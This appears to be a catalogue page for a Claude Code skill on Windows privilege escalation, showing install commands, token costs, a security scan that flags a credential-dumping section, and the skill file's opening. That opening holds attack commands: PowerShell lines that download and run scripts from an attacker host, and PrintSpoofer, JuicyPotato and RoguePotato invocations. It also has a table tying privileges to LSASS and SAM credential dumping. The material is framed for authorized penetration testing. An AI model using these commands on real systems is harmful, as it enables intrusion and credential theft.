Windows Privilege Escalation

Windows Privilege Escalation is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 65 tokens per session (2,569 once invoked), scanned C, original, MIT.

A guide to checking Windows systems for ways a low-privileged user might become an administrator or SYSTEM, Windows’ highest local privilege level.

In plain words
What is it for?
It helps run tools such as WinPEAS and PowerUp, inspect users and privileges, review services and registry settings, and compare system details with known issues during authorized testing.
Why use it?
It organizes automated and manual checks for misconfigured services, permissions, tokens, installed software, and other possible escalation paths.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit It helps run tools such as WinPEAS and PowerUp, inspect users and privileges, review services and registry settings, and compare system details with known issues during authorized testing.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/windows-privesc
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add allsmog/blackbox-claude-plugin --skill windows-privesc
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Windows Privilege Escalation

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/windows-privesc/github.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/windows-privesc)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/windows-privesc"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/windows-privesc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for Windows Privilege Escalation

Your own site · 80×15
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/windows-privesc"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/windows-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 65 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,569 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00065 $0.02569
Opus 5 $0.00032 $0.01285
Sonnet 5 $0.00013 $0.00514
Haiku 4.5 $0.00006 $0.00257

Measured 9d ago against content hash a07789067475, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade C, and why

Windows Privilege Escalation scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

### Dump Credentials
blackbox-htb/skills/windows-privesc/SKILL.md · 359 lines

How it starts

The opening of the file, as written. The whole thing — 359 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Windows Privilege Escalation Skill

Overview

Techniques for escalating privileges from a low-privileged user to SYSTEM/Administrator on Windows systems.

Automated Enumeration

WinPEAS

# Download and run
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/winPEAS.ps1')

# Run executable
.\winPEASany.exe

# Quiet mode
.\winPEASany.exe quiet

# Specific checks
.\winPEASany.exe servicesinfo

PowerUp

IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/PowerUp.ps1')
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableService
Get-RegistryAlwaysInstallElevated

Windows Exploit Suggester

# On attacker machine
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt

Manual Enumeration Checklist

1. User Information

whoami
whoami /priv
whoami /groups
net users
net user <username>
net localgroup Administrators
qwinsta  # Other logged in users

2. Token Privileges

whoami /priv

High-Value Privileges:

Privilege Attack
SeImpersonatePrivilege PrintSpoofer, JuicyPotato, RoguePotato
SeAssignPrimaryTokenPrivilege Token impersonation
SeBackupPrivilege Backup SAM/SYSTEM hashes
SeRestorePrivilege Write to any file
SeTakeOwnershipPrivilege Take ownership of files
SeDebugPrivilege Dump LSASS, inject into processes
SeLoadDriverPrivilege Load vulnerable driver

Token Impersonation Attacks:

# PrintSpoofer (Windows 10, Server 2016/2019)
.\PrintSpoofer.exe -i -c cmd

# JuicyPotato (Windows 7-10, Server 2008-2016)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

# RoguePotato (Windows 10, Server 2019)
.\RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe" -l 9999

3. Unquoted Service Paths

wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows"

# PowerUp
Get-UnquotedService

Read the full file on GitHub · 359 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 359 lines · 65 tokens per session scan C a07789067475

Subscribe to this mod's changes

Windows Privilege Escalation is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 65 tokens to every session and 2,569 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 1 finding (harvests environment variables). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

mks

MKS (Metasploit-Kali Server) tool preference guide. Mount in Phase 0/1 alongside the primary skill. Provides URL resolution, REST endpoint patterns, response parsing, error handling, and fallback rules for all MKS-backed Kali tools.

Stickman230/claude-pentest · 54 tokens

pentest

Penetration testing orchestrator that coordinates specialized attack agents. Provides attack indexes, methodology frameworks, and documentation. Execution delegated to specialized agents (SQL Injection, XSS, SSRF, etc.). Use for engagement planning and attack coordination.

Stickman230/claude-pentest · 50 tokens

authenticating

Authentication testing skill - automates signup, login, 2FA bypass, CAPTCHA solving, and bot detection evasion using Playwright MCP. Tests authentication security controls. Includes behavioral biometrics simulation, OTP handling, and automated account creation for security assessments.

Stickman230/claude-pentest · 54 tokens

common-appsec-patterns

Application security testing coordinator for common vulnerability patterns including XSS, injection flaws, and client-side security issues. Orchestrates specialized testing agents to identify and validate common application security weaknesses.

Stickman230/claude-pentest · 42 tokens

web-application-mapping

Comprehensive web application reconnaissance and mapping coordinator that orchestrates passive browsing, active endpoint discovery, attack surface analysis, and headless browser automation for complete application coverage.

Stickman230/claude-pentest · 38 tokens

cve-testing

CVE vulnerability testing coordinator that identifies technology stacks, researches known vulnerabilities, and tests applications for exploitable CVEs using public exploits and proof-of-concept code.

Stickman230/claude-pentest · 36 tokens